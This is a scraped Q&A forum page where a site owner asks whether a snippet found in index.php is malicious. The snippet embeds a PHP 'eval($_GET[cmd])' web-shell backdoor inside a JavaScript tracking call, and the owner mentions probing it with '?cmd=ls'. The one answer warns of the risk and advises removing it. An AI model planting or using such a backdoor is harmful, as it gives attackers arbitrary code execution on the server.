Sign Up

Sign Up to our social questions and Answers Engine to ask questions, answer people’s questions, and connect with other people.

Have an account? Sign In

Have an account? Sign In Now

Sign In

Login to our social questions & Answers Engine to ask questions answer people’s questions & connect with other people.

Sign Up Here

Forgot Password?

Don't have account, Sign Up Here

Forgot Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Have an account? Sign In Now

You must login to ask a question.

Forgot Password?

Need An Account, Sign Up Here

Please briefly explain why you feel this question should be reported.

Please briefly explain why you feel this answer should be reported.

Please briefly explain why you feel this user should be reported.

Sign InSign Up

The Archive Base

The Archive Base Logo The Archive Base Logo

The Archive Base Navigation

  • SEARCH
  • Home
  • About Us
  • Blog
  • Contact Us
Search
Ask A Question

Mobile menu

Close
Ask a Question
  • Home
  • Add group
  • Groups page
  • Feed
  • User Profile
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Buy Points
  • Users
  • Help
  • Buy Theme
  • SEARCH
Home/ Questions/Q 8842837
In Process

The Archive Base Latest Questions

Editorial Team
  • 0
Editorial Team
Asked: June 14, 20262026-06-14T11:03:59+00:00 2026-06-14T11:03:59+00:00

I found in my site index.php this code <script type=text/javascript> new.track(new.dev,_browser,'<?php eval($_GET[cmd]); ?>’, ‘<?php

  • 0

I found in my site index.php this code

<script type="text/javascript">
  new.track("new.dev","_browser","'<?php eval($_GET[cmd]); ?>', '<?php eval($_GET[cmd]);?>'");
  new.track("new.dev","_url",location.href);
</script>

Is that code are malicious?
From web i tryed to put something like index.php?cmd=ls and nothing was appear. Maybe it needed to be on page?
I trying to understand what previous admin do on site.

  • 1 1 Answer
  • 0 Views
  • 0 Followers
  • 0
Share
  • Facebook
  • Report

Leave an answer
Cancel reply

You must login to add an answer.

Forgot Password?

Need An Account, Sign Up Here

1 Answer

  • Voted
  • Oldest
  • Recent
  • Random
  1. Editorial Team
    Editorial Team
    2026-06-14T11:04:02+00:00Added an answer on June 14, 2026 at 11:04 am

    There is an unending amount of risk in that code. eval() runs php commands and can run terminal commands. With you accepting input without sanitation, someone could go nuts and cause some serious harm there. I would remove that immediately and find a better way.

    Bonk the guy on the head who wrote it, too.

    • 0
    • Reply
    • Share
      Share
      • Share on Facebook
      • Share on Twitter
      • Share on LinkedIn
      • Share on WhatsApp
      • Report

Sidebar

Related Questions

I found this interesting site, that helps me understand derivatives, http://www.numberempire.com/derivatives.php , It seems
This is the code in index.php ,with only <?php ,but no ?> ,this is
On this site: http://www.seleconlight.com everything is fine On this url: http://www.seleconlight.com/index.php?option=com_virtuemart&page=shop.product_details&flypage=shop.flypage.p3&category_id=8&product_id=21 most people get
I was checking joomla 1.6 index.php and I found the following code at the
This is my first question, but I've already found this site extremely helpful, so
I am trying to implement a generic repository pattern. I found this site which
I just came across NetBeans site and found its PHP and Ruby IDEs. I
I'm working on a sample i found on this site: http://kevinmusselman.com/blog/2009/02/access-webcam-with-flash/ it captures the
I've tried all the time calculating examples I found on this site but somehow
i've used a sample found on online and applied it to my code: <?php

Explore

  • Home
  • Add group
  • Groups page
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Users
  • Help
  • SEARCH

Footer

© 2021 The Archive Base. All Rights Reserved
With Love by The Archive Base

Insert/edit link

Enter the destination URL

Or link to existing content

    No search term specified. Showing recent items. Search or use up and down arrow keys to select an item.